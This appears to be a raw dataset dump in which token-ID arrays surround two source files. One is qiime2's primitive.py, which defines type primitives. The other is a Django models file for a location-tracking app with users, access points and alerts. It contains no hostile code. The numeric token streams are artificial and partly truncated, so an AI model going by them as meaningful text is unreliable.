[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
nervous-laughter/qiime2
qiime2/core/type/primitive.py
2
12746
# ---------------------------------------------------------------------------- # Copyright (c) 2016-2017, QIIME 2 development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. # ---------------------------------------------------------------------------- import json import numbers import re import collections.abc from qiime2.core.type.grammar import TypeExpression, CompositeType, Predicate import qiime2.metadata as metadata def is_primitive_type(type_): return isinstance(type_, _PrimitiveBase) class _PrimitiveBase(TypeExpression): def _validate_union_(self, other, handshake=False): # It is possible we may want this someday: `Int | Str`, but order of # encode/decode dispatch wouldn't be straight-forward. # Order of the declaration could indicate "MRO", but then equality # must consider Int | Str != Str | Int, which feels weird. raise TypeError("Cannot union primitive types.") def _validate_intersection_(self, other, handshake=False): # This literally makes no sense for primitives. Even less sense than # C's Union type (which is actually an intersection type...) raise TypeError("Cannot intersect primitive types.") class _Primitive(_PrimitiveBase): def _validate_predicate_(self, predicate): super()._validate_predicate_(predicate) # _valid_predicates will be on the class obj of the primitives to # make defining them easy if not isinstance(predicate, tuple(self._valid_predicates)): raise TypeError("Cannot supply %r as a predicate to %r type," " permitted predicates: %r" % (predicate, self, {p.__name__ for p in self._valid_predicates})) for bound in predicate.iter_boundaries(): if not self._is_element_(bound): raise TypeError("%r has the wrong types for %r." % (predicate, self)) def to_ast(self): ast = super().to_ast() ast['type'] = 'primitive' return ast class _Collection(CompositeType): def _validate_field_(self, name, value): if not isinstance(value, _Primitive): if isinstance(value, _CollectionPrimitive): raise TypeError("Cannot nest collection types.") else: raise TypeError("Collection type (%r) must be provided" " primitives as arguments to its fields," " not %r" % (self, value)) super()._validate_field_(name, value) def _apply_fields_(self, fields): return _CollectionPrimitive(self._is_element_.__func__, self.encode.__func__, self.decode.__func__, self.name, fields=fields) class _CollectionPrimitive(_PrimitiveBase): def __init__(self, is_element, encode, decode, *args, **kwargs): # TODO: This is a nasty hack self._encode = encode self._decode = decode self._is_element = is_element super().__init__(*args, **kwargs) super().__init__(*args, **kwargs) def encode(self, value): return self._encode(self, value) def decode(self, string): return self._decode(self, string) def _is_element_(self, value): return self._is_element(self, value) def _validate_predicate_(self, predicate): raise TypeError("Predicates cannot be applied directly to collection" " types.") def _apply_fields_(self, fields): return _CollectionPrimitive(self._is_element, self._encode, self._decode, self.name, fields=fields) def to_ast(self): ast = super().to_ast() ast['type'] = 'collection' return ast _RANGE_DEFAULT_START = None _RANGE_DEFAULT_END = None _RANGE_DEFAULT_INCLUSIVE_START = True _RANGE_DEFAULT_INCLUSIVE_END = False class Range(Predicate): def __init__(self, *args, inclusive_start=_RANGE_DEFAULT_INCLUSIVE_START, inclusive_end=_RANGE_DEFAULT_INCLUSIVE_END): if len(args) == 2: self.start, self.end = args elif len(args) == 1: self.start = _RANGE_DEFAULT_START self.end, = args elif len(args) == 0: self.start = _RANGE_DEFAULT_START self.end = _RANGE_DEFAULT_END else: raise ValueError("") self.inclusive_start = inclusive_start self.inclusive_end = inclusive_end super().__init__(args) def __hash__(self): return (hash(type(self)) ^ hash(self.start) ^ hash(self.end) ^ hash(self.inclusive_start) ^ hash(self.inclusive_end)) def __eq__(self, other): return (type(self) is type(other) and self.start == other.start and self.end == other.end and self.inclusive_start == other.inclusive_start and self.inclusive_end == other.inclusive_end) def __repr__(self): args = [] if self.start is not _RANGE_DEFAULT_START: args.append(repr(self.start)) if self.end is not _RANGE_DEFAULT_END: args.append(repr(self.end)) if self.inclusive_start is not _RANGE_DEFAULT_INCLUSIVE_START: args.append('inclusive_start=%r' % self.inclusive_start) if self.inclusive_end is not _RANGE_DEFAULT_INCLUSIVE_END: args.append('inclusive_end=%r' % self.inclusive_end) return "%s(%s)" % (self.__class__.__name__, ', '.join(args)) def _is_element_(self, value): if self.start is not None: if self.inclusive_start: if value < self.start: return False elif value <= self.start: return False if self.end is not None: if self.inclusive_end: if value > self.end: return False elif value >= self.end: return False return True def iter_boundaries(self): if self.start is not None: yield self.start if self.end is not None: yield self.end def to_ast(self): ast = super().to_ast() ast['start'] = self.start ast['end'] = self.end ast['inclusive-start'] = self.inclusive_start ast['inclusive-end'] = self.inclusive_end return ast class Choices(Predicate): def __init__(self, choices): self.choices = set(choices) super().__init__(choices) def __hash__(self): return hash(type(self)) ^ hash(frozenset(self.choices)) def __eq__(self, other): return type(self) == type(other) and self.choices == other.choices def __repr__(self): return "%s({%s})" % (self.__class__.__name__, repr(sorted(self.choices))[1:-1]) def _is_element_(self, value): return value in self.choices def iter_boundaries(self): yield from self.choices def to_ast(self): ast = super().to_ast() ast['choices'] = list(self.choices) return ast class Arguments(Predicate): def __init__(self, parameter): self.parameter = parameter super().__init__(parameter) def __hash__(self): return hash(type(self)) ^ hash(self.parameter) def __eq__(self, other): return type(self) == type(other) and self.parameter == other.parameter def __repr__(self): return "%s(%r)" % (self.__class__.__name__, self.parameter) def _is_element_(self, value): raise NotImplementedError("Membership cannot be determined by this" " predicate directly.") def iter_boundaries(self): yield from [] def to_ast(self): ast = super().to_ast() ast['parameter'] = self.parameter return ast class _Dict(_Collection): def _is_element_(self, value): if not isinstance(value, collections.abc.Mapping): return False key_type, value_type = self.fields for k, v in value.items(): if k not in key_type or v not in value_type: return False return True def decode(self, string): return json.loads(string) def encode(self, value): return json.dumps(value) Dict = _Dict('Dict', field_names=['keys', 'values']) class _List(_Collection): def _is_element_(self, value): if not isinstance(value, collections.abc.Sequence): return False element_type, = self.fields for v in value: if v not in element_type: return False return True def decode(self, string): return json.loads(string) def encode(self, value): return json.dumps(value) List = _List('List', field_names=['elements']) class _Set(_Collection): def _is_element_(self, value): if not isinstance(value, collections.abc.Set): return False element_type, = self.fields for v in value: if v not in element_type: return False return True def decode(self, string): return set(json.loads(string)) def encode(self, value): return json.dumps(list(value)) Set = _Set('Set', field_names=['elements']) class _Int(_Primitive): _valid_predicates = {Range, Arguments} def _is_element_(self, value): # Works with numpy just fine. return isinstance(value, numbers.Integral) def _is_subtype_(self, other): if (isinstance(other, type(Float)) and self.predicate <= other.predicate): return True return super()._is_subtype_(other) def decode(self, string): return int(string) def encode(self, value): return str(value) Int = _Int('Int') class _Str(_Primitive): _valid_predicates = {Choices, Arguments} decode = encode = lambda self, arg: arg def _is_element_(self, value): # No reason for excluding bytes other than extreme prejudice. return isinstance(value, str) Str = _Str('Str') class _Float(_Primitive): _valid_predicates = {Range, Arguments} def _is_element_(self, value): # Works with numpy just fine. return isinstance(value, numbers.Real) def decode(self, string): return float(string) def encode(self, value): return str(value) Float = _Float('Float') class _Bool(_Primitive): _valid_predicates = {Arguments, } def _is_element_(self, value): return isinstance(value, bool) def decode(self, string): if string not in ('false', 'true'): raise TypeError("%s is neither 'true' or 'false'" % string) return string == 'true' def encode(self, value): if value: return 'true' else: return 'false' Bool = _Bool('Bool') class _Color(type(Str)): def _is_element_(self, value): # Regex from: http://stackoverflow.com/a/1636354/579416 return bool(re.search(r'^#(?:[0-9a-fA-F]{3}){1,2}$', value)) Color = Colour = _Color('Color') class _Metadata(_Primitive): _valid_predicates = set() def _is_element_(self, value): return isinstance(value, metadata.Metadata) def decode(self, metadata): # This interface should have already retrieved this object. if not self._is_element_(metadata): raise TypeError("`Metadata` must be provided by the interface" " directly.") return metadata def encode(self, value): # TODO: Should this be the provenance representation? Does that affect # decode? return value Metadata = _Metadata('Metadata') class _MetadataCategory(_Primitive): _valid_predicates = set() def _is_element_(self, value): return isinstance(value, metadata.MetadataCategory) def decode(self, metadata_category): # This interface should have already retrieved this object. if not self._is_element_(metadata_category): raise TypeError("`MetadataCategory` must be provided by the" " interface directly.") return metadata_category def encode(self, value): # TODO: Should this be the provenance representation? Does that affect # decode? return value MetadataCategory = _MetadataCategory('MetadataCategory')
bsd-3-clause
[ 3, 27103, 199, 3, 1898, 334, 67, 9, 7800, 13, 10680, 12, 1413, 41, 3465, 499, 16367, 8099, 14, 199, 3, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 3, 199, 3, 710, 2615, 4190, 365, 315, 314, 570, 5113, 12, 1854, 543, 642, 2032, 14, 199, 3, 27103, 199, 199, 646, 2022, 199, 646, 5579, 199, 646, 295, 199, 646, 5055, 14, 3175, 199, 199, 504, 31402, 1036, 18, 14, 1018, 14, 466, 14, 15239, 492, 2434, 9093, 12, 27506, 2124, 804, 12, 5543, 10188, 199, 646, 31402, 1036, 18, 14, 2343, 465, 3341, 421, 199, 318, 365, 63, 16161, 63, 466, 8, 466, 7822, 272, 372, 1228, 8, 466, 3131, 485, 22231, 1563, 9, 421, 199, 533, 485, 22231, 1563, 8, 804, 9093, 304, 272, 347, 485, 3502, 63, 8888, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 2779, 365, 3962, 781, 1443, 2934, 642, 2005, 2977, 26, 658, 3241, 1204, 8303, 3559, 1325, 1865, 402, 267, 327, 3752, 15, 2708, 7634, 3955, 78, 1133, 506, 23669, 13, 6688, 14, 267, 327, 9240, 402, 314, 12560, 4293, 6623, 298, 45, 1092, 401, 1325, 2066, 16612, 267, 327, 1471, 11201, 9805, 1204, 8303, 1137, 8303, 1204, 9805, 12, 1314, 1964, 18099, 22965, 14, 267, 746, 3146, 480, 6612, 13629, 18944, 2943, 2685, 339, 347, 485, 3502, 63, 12569, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 961, 7142, 1183, 7704, 949, 12249, 367, 1979, 22337, 14, 22207, 6656, 12249, 2419, 267, 327, 445, 1159, 15961, 730, 334, 6777, 365, 5965, 376, 16223, 730, 11965, 267, 746, 3146, 480, 6612, 26066, 18944, 2943, 2685, 421, 199, 533, 485, 22231, 1547, 22231, 1563, 304, 272, 347, 485, 3502, 63, 14463, 2531, 277, 12, 11944, 304, 267, 1613, 19050, 3502, 63, 14463, 2531, 14463, 9, 267, 327, 485, 1078, 63, 14463, 83, 911, 506, 641, 314, 1021, 1559, 402, 314, 1979, 22337, 370, 267, 327, 1852, 12669, 3062, 8837, 267, 340, 440, 1228, 8, 14463, 12, 2008, 8, 277, 423, 1078, 63, 14463, 83, 2298, 288, 746, 3146, 480, 6612, 17169, 450, 82, 465, 282, 11944, 370, 450, 82, 730, 4589, 1169, 298, 8211, 11944, 83, 26, 450, 82, 2, 1169, 450, 334, 14463, 12, 291, 12, 3044, 469, 80, 855, 354, 363, 367, 299, 315, 291, 423, 1078, 63, 14463, 83, 12466, 398, 367, 3914, 315, 11944, 14, 1661, 63, 27505, 837, 288, 340, 440, 291, 423, 374, 63, 2108, 2531, 3556, 304, 355, 746, 3146, 3647, 82, 965, 314, 6835, 2943, 367, 450, 82, 2122, 1816, 450, 334, 14463, 12, 291, 430, 339, 347, 370, 63, 1810, 8, 277, 304, 267, 6073, 275, 1613, 1252, 475, 63, 1810, 342, 267, 6073, 459, 466, 418, 275, 283, 16161, 7, 267, 372, 6073, 421, 199, 533, 485, 7768, 8, 24039, 804, 304, 272, 347, 485, 3502, 63, 698, 2531, 277, 12, 536, 12, 574, 304, 267, 340, 440, 1228, 8, 585, 12, 485, 22231, 304, 288, 340, 1228, 8, 585, 12, 485, 7768, 22231, 304, 355, 746, 3146, 480, 6612, 10715, 3245, 2943, 2685, 288, 587, 26, 355, 746, 3146, 480, 7768, 730, 4366, 82, 9, 1471, 506, 2741, 2, 1816, 298, 1979, 22337, 465, 2368, 370, 2399, 1504, 4589, 1816, 298, 440, 450, 82, 2, 450, 334, 277, 12, 574, 430, 398, 1613, 19050, 3502, 63, 698, 2531, 354, 12, 574, 9, 339, 347, 485, 4998, 63, 955, 2531, 277, 12, 1504, 304, 267, 372, 485, 7768, 22231, 8, 277, 423, 374, 63, 2108, 63, 855, 1532, 3108, 2511, 291, 14, 2143, 855, 1532, 3108, 291, 14, 2708, 855, 1532, 3108, 2511, 291, 14, 354, 12, 1504, 29, 955, 9, 421, 199, 533, 485, 7768, 22231, 1547, 22231, 1563, 304, 272, 347, 636, 826, 721, 277, 12, 365, 63, 2108, 12, 3752, 12, 4849, 12, 627, 589, 12, 1011, 958, 304, 267, 327, 3254, 26, 961, 365, 282, 302, 27352, 11176, 267, 291, 423, 2143, 275, 3752, 267, 291, 423, 2708, 275, 4849, 267, 291, 423, 374, 63, 2108, 275, 365, 63, 2108, 398, 1613, 11027, 826, 9308, 589, 12, 1011, 958, 9, 398, 1613, 11027, 826, 9308, 589, 12, 1011, 958, 9, 339, 347, 3752, 8, 277, 12, 574, 304, 267, 372, 291, 423, 2143, 8, 277, 12, 574, 9, 339, 347, 4849, 8, 277, 12, 1059, 304, 267, 372, 291, 423, 2708, 8, 277, 12, 1059, 9, 339, 347, 485, 374, 63, 2108, 2531, 277, 12, 574, 304, 267, 372, 291, 423, 374, 63, 2108, 8, 277, 12, 574, 9, 339, 347, 485, 3502, 63, 14463, 2531, 277, 12, 11944, 304, 267, 746, 3146, 480, 2398, 16292, 3913, 506, 6781, 5370, 370, 3245, 2, 717, 298, 2943, 2685, 339, 347, 485, 4998, 63, 955, 2531, 277, 12, 1504, 304, 267, 372, 485, 7768, 22231, 8, 277, 423, 374, 63, 2108, 12, 291, 423, 2143, 12, 2511, 291, 423, 2708, 12, 291, 14, 354, 12, 1504, 29, 955, 9, 339, 347, 370, 63, 1810, 8, 277, 304, 267, 6073, 275, 1613, 1252, 475, 63, 1810, 342, 267, 6073, 459, 466, 418, 275, 283, 3627, 7, 267, 372, 6073, 421, 199, 63, 15167, 63, 3472, 63, 7363, 275, 488, 199, 63, 15167, 63, 3472, 63, 3902, 275, 488, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 275, 715, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 275, 756, 421, 199, 533, 13114, 8, 22236, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 20728, 63, 928, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 12, 326, 20728, 63, 500, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 304, 267, 340, 822, 8, 589, 9, 508, 499, 26, 288, 291, 14, 928, 12, 291, 14, 500, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 413, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 12, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 378, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 275, 485, 15167, 63, 3472, 63, 3902, 267, 587, 26 ]
[ 27103, 199, 3, 1898, 334, 67, 9, 7800, 13, 10680, 12, 1413, 41, 3465, 499, 16367, 8099, 14, 199, 3, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 3, 199, 3, 710, 2615, 4190, 365, 315, 314, 570, 5113, 12, 1854, 543, 642, 2032, 14, 199, 3, 27103, 199, 199, 646, 2022, 199, 646, 5579, 199, 646, 295, 199, 646, 5055, 14, 3175, 199, 199, 504, 31402, 1036, 18, 14, 1018, 14, 466, 14, 15239, 492, 2434, 9093, 12, 27506, 2124, 804, 12, 5543, 10188, 199, 646, 31402, 1036, 18, 14, 2343, 465, 3341, 421, 199, 318, 365, 63, 16161, 63, 466, 8, 466, 7822, 272, 372, 1228, 8, 466, 3131, 485, 22231, 1563, 9, 421, 199, 533, 485, 22231, 1563, 8, 804, 9093, 304, 272, 347, 485, 3502, 63, 8888, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 2779, 365, 3962, 781, 1443, 2934, 642, 2005, 2977, 26, 658, 3241, 1204, 8303, 3559, 1325, 1865, 402, 267, 327, 3752, 15, 2708, 7634, 3955, 78, 1133, 506, 23669, 13, 6688, 14, 267, 327, 9240, 402, 314, 12560, 4293, 6623, 298, 45, 1092, 401, 1325, 2066, 16612, 267, 327, 1471, 11201, 9805, 1204, 8303, 1137, 8303, 1204, 9805, 12, 1314, 1964, 18099, 22965, 14, 267, 746, 3146, 480, 6612, 13629, 18944, 2943, 2685, 339, 347, 485, 3502, 63, 12569, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 961, 7142, 1183, 7704, 949, 12249, 367, 1979, 22337, 14, 22207, 6656, 12249, 2419, 267, 327, 445, 1159, 15961, 730, 334, 6777, 365, 5965, 376, 16223, 730, 11965, 267, 746, 3146, 480, 6612, 26066, 18944, 2943, 2685, 421, 199, 533, 485, 22231, 1547, 22231, 1563, 304, 272, 347, 485, 3502, 63, 14463, 2531, 277, 12, 11944, 304, 267, 1613, 19050, 3502, 63, 14463, 2531, 14463, 9, 267, 327, 485, 1078, 63, 14463, 83, 911, 506, 641, 314, 1021, 1559, 402, 314, 1979, 22337, 370, 267, 327, 1852, 12669, 3062, 8837, 267, 340, 440, 1228, 8, 14463, 12, 2008, 8, 277, 423, 1078, 63, 14463, 83, 2298, 288, 746, 3146, 480, 6612, 17169, 450, 82, 465, 282, 11944, 370, 450, 82, 730, 4589, 1169, 298, 8211, 11944, 83, 26, 450, 82, 2, 1169, 450, 334, 14463, 12, 291, 12, 3044, 469, 80, 855, 354, 363, 367, 299, 315, 291, 423, 1078, 63, 14463, 83, 12466, 398, 367, 3914, 315, 11944, 14, 1661, 63, 27505, 837, 288, 340, 440, 291, 423, 374, 63, 2108, 2531, 3556, 304, 355, 746, 3146, 3647, 82, 965, 314, 6835, 2943, 367, 450, 82, 2122, 1816, 450, 334, 14463, 12, 291, 430, 339, 347, 370, 63, 1810, 8, 277, 304, 267, 6073, 275, 1613, 1252, 475, 63, 1810, 342, 267, 6073, 459, 466, 418, 275, 283, 16161, 7, 267, 372, 6073, 421, 199, 533, 485, 7768, 8, 24039, 804, 304, 272, 347, 485, 3502, 63, 698, 2531, 277, 12, 536, 12, 574, 304, 267, 340, 440, 1228, 8, 585, 12, 485, 22231, 304, 288, 340, 1228, 8, 585, 12, 485, 7768, 22231, 304, 355, 746, 3146, 480, 6612, 10715, 3245, 2943, 2685, 288, 587, 26, 355, 746, 3146, 480, 7768, 730, 4366, 82, 9, 1471, 506, 2741, 2, 1816, 298, 1979, 22337, 465, 2368, 370, 2399, 1504, 4589, 1816, 298, 440, 450, 82, 2, 450, 334, 277, 12, 574, 430, 398, 1613, 19050, 3502, 63, 698, 2531, 354, 12, 574, 9, 339, 347, 485, 4998, 63, 955, 2531, 277, 12, 1504, 304, 267, 372, 485, 7768, 22231, 8, 277, 423, 374, 63, 2108, 63, 855, 1532, 3108, 2511, 291, 14, 2143, 855, 1532, 3108, 291, 14, 2708, 855, 1532, 3108, 2511, 291, 14, 354, 12, 1504, 29, 955, 9, 421, 199, 533, 485, 7768, 22231, 1547, 22231, 1563, 304, 272, 347, 636, 826, 721, 277, 12, 365, 63, 2108, 12, 3752, 12, 4849, 12, 627, 589, 12, 1011, 958, 304, 267, 327, 3254, 26, 961, 365, 282, 302, 27352, 11176, 267, 291, 423, 2143, 275, 3752, 267, 291, 423, 2708, 275, 4849, 267, 291, 423, 374, 63, 2108, 275, 365, 63, 2108, 398, 1613, 11027, 826, 9308, 589, 12, 1011, 958, 9, 398, 1613, 11027, 826, 9308, 589, 12, 1011, 958, 9, 339, 347, 3752, 8, 277, 12, 574, 304, 267, 372, 291, 423, 2143, 8, 277, 12, 574, 9, 339, 347, 4849, 8, 277, 12, 1059, 304, 267, 372, 291, 423, 2708, 8, 277, 12, 1059, 9, 339, 347, 485, 374, 63, 2108, 2531, 277, 12, 574, 304, 267, 372, 291, 423, 374, 63, 2108, 8, 277, 12, 574, 9, 339, 347, 485, 3502, 63, 14463, 2531, 277, 12, 11944, 304, 267, 746, 3146, 480, 2398, 16292, 3913, 506, 6781, 5370, 370, 3245, 2, 717, 298, 2943, 2685, 339, 347, 485, 4998, 63, 955, 2531, 277, 12, 1504, 304, 267, 372, 485, 7768, 22231, 8, 277, 423, 374, 63, 2108, 12, 291, 423, 2143, 12, 2511, 291, 423, 2708, 12, 291, 14, 354, 12, 1504, 29, 955, 9, 339, 347, 370, 63, 1810, 8, 277, 304, 267, 6073, 275, 1613, 1252, 475, 63, 1810, 342, 267, 6073, 459, 466, 418, 275, 283, 3627, 7, 267, 372, 6073, 421, 199, 63, 15167, 63, 3472, 63, 7363, 275, 488, 199, 63, 15167, 63, 3472, 63, 3902, 275, 488, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 275, 715, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 275, 756, 421, 199, 533, 13114, 8, 22236, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 20728, 63, 928, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 12, 326, 20728, 63, 500, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 304, 267, 340, 822, 8, 589, 9, 508, 499, 26, 288, 291, 14, 928, 12, 291, 14, 500, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 413, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 12, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 378, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 275, 485, 15167, 63, 3472, 63, 3902, 267, 587, 26, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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AddressField class Building(models.Model): number = models.CharField(max_length=6) name = models.CharField(max_length=50,blank=True) def __unicode__(self): return self.name if self.name else "Building " + self.number class AP(models.Model): mac = MACAddressField("MAC",unique=True) type = models.PositiveSmallIntegerField(default=0) building = models.ForeignKey(Building,blank=True,null=True) floor = models.PositiveSmallIntegerField(default=1) comment = models.CharField(max_length=20,blank=True) class Meta: verbose_name = "Access Point" def __unicode__(self): comstr = (self.comment + ", " if self.comment else "") macstr = str(self.mac) macstr = ":".join([macstr[i:i+2] for i in range(0, 12, 2)]) if self.type == 0: return comstr + macstr + " (standard MIT AP)" elif self.type == 1: return comstr + macstr + " (MIT shuttle)" class Location(models.Model): active = models.BooleanField(default=True) #TODO: make this False in production signals = models.CharField(max_length=250) floor = models.IntegerField(default=1) building = models.ForeignKey(Building,related_name="locations") #TODO: allow null buildings desc = models.CharField(max_length=45) reporter = models.ForeignKey("User",blank=True,null=True,related_name="contribs",on_delete=models.PROTECT) created = models.DateTimeField(auto_now_add=True) #TODO: in prod, take average of previous reading and new class Meta: unique_together = ('building', 'desc',) def __unicode__(self): return str(self.building) + " " + self.desc # class Signal(models.Model): # ap = models.ForeignKey(AP) # strength = models.IntegerField() # location = models.ForeignKey(Location,related_name="signals") # def __unicode__(self): # return str(self.ap) class User(models.Model): enabled = models.BooleanField(default=True) name = models.CharField(max_length=75) email = models.EmailField(unique=True) created = models.DateTimeField(auto_now_add=True) deviceid = models.CharField("Device ID",max_length=64,blank=True) sharing = models.SmallIntegerField(default=1) faves = models.ManyToManyField('self',blank=True,symmetrical=False,related_name="favorites") shares = models.ManyToManyField('self',blank=True,symmetrical=False,related_name="sharedwithme") blocks = models.ManyToManyField('self',blank=True,symmetrical=False,related_name="blockedby") building = models.ForeignKey(Building,blank=True,null=True,related_name="occupants") floor = models.SmallIntegerField(blank=True,null=True) location = models.ForeignKey(Location,blank=True,null=True,related_name="inhabitants",on_delete=models.SET_NULL) age = models.DateTimeField(blank=True,null=True) def __unicode__(self): return self.name class Alert(models.Model): enabled = models.BooleanField(default=True) stalker = models.OneToOneField(User,related_name="alerts") stalkee = models.OneToOneField(User,related_name="watchers") enters = models.BooleanField(default=True) location = models.OneToOneField(Location,blank=True,null=True,on_delete=models.SET_NULL) building = models.OneToOneField(Building,blank=True,null=True) def __unicode__(self): return str(self.stalker) + " watching " + str(self.stalkee) class AuthToken(models.Model): created = models.DateTimeField(auto_now_add=True) deviceid = models.CharField("Device ID",max_length=64,unique=True) otp = models.CharField("OTP",max_length=6) class Meta: verbose_name="Auth Token" def __unicode__(self): return self.otp
mit
[ 504, 1639, 14, 697, 492, 1709, 199, 199, 504, 1504, 492, 13347, 1476, 792, 199, 199, 533, 6516, 316, 8, 992, 14, 1685, 304, 272, 1329, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 22, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 12, 2500, 29, 549, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 340, 291, 14, 354, 587, 298, 16461, 298, 435, 291, 14, 1955, 199, 199, 533, 10319, 8, 992, 14, 1685, 304, 272, 4497, 275, 13347, 1476, 792, 480, 9410, 401, 3235, 29, 549, 9, 272, 730, 275, 1709, 14, 25197, 8, 885, 29, 16, 9, 272, 10015, 275, 1709, 14, 3190, 8, 16461, 12, 2500, 29, 549, 12, 2307, 29, 549, 9, 272, 19841, 275, 1709, 14, 25197, 8, 885, 29, 17, 9, 272, 3721, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1165, 12, 2500, 29, 549, 9, 339, 1021, 6288, 26, 267, 3376, 63, 354, 275, 298, 3946, 7584, 2, 339, 347, 636, 2975, 721, 277, 304, 267, 2414, 495, 275, 334, 277, 14, 3349, 435, 3872, 298, 340, 291, 14, 3349, 587, 6899, 267, 4497, 495, 275, 620, 8, 277, 14, 3088, 9, 267, 4497, 495, 275, 7244, 1674, 904, 779, 3088, 495, 59, 73, 26, 73, 11, 18, 61, 367, 284, 315, 1425, 8, 16, 12, 3144, 12, 499, 3948, 267, 340, 291, 14, 466, 508, 378, 26, 288, 372, 2414, 495, 435, 4497, 495, 435, 298, 334, 6807, 10697, 10319, 2924, 267, 916, 291, 14, 466, 508, 413, 26, 288, 372, 2414, 495, 435, 4497, 495, 435, 298, 334, 13965, 24761, 1118, 2924, 199, 199, 533, 12625, 8, 992, 14, 1685, 304, 272, 4702, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 327, 11768, 26, 1852, 642, 756, 315, 9920, 272, 10166, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 7991, 9, 272, 19841, 275, 1709, 14, 3901, 8, 885, 29, 17, 9, 272, 10015, 275, 1709, 14, 3190, 8, 16461, 12, 2407, 63, 354, 628, 8022, 531, 327, 11768, 26, 2040, 2973, 1900, 780, 272, 4328, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 2322, 9, 272, 17663, 275, 1709, 14, 3190, 480, 1899, 401, 2500, 29, 549, 12, 2307, 29, 549, 12, 2407, 63, 354, 628, 388, 19577, 401, 265, 63, 1807, 29, 992, 14, 29148, 9, 272, 2737, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 9, 339, 327, 11768, 26, 315, 12441, 12, 5452, 8095, 402, 4136, 7664, 436, 892, 272, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 661, 17952, 297, 283, 3257, 9538, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 620, 8, 277, 14, 17952, 9, 435, 298, 298, 435, 291, 14, 3257, 199, 199, 3, 1021, 18288, 8, 992, 14, 1685, 304, 199, 3, 258, 2771, 275, 1709, 14, 3190, 8, 1282, 9, 199, 3, 258, 410, 15796, 275, 1709, 14, 3901, 342, 199, 3, 258, 2909, 275, 1709, 14, 3190, 8, 6592, 12, 2407, 63, 354, 628, 10458, 531, 199, 199, 3, 258, 347, 636, 2975, 721, 277, 304, 199, 3, 260, 372, 620, 8, 277, 14, 439, 9, 421, 199, 533, 2876, 8, 992, 14, 1685, 304, 272, 5223, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 2194, 9, 272, 3031, 275, 1709, 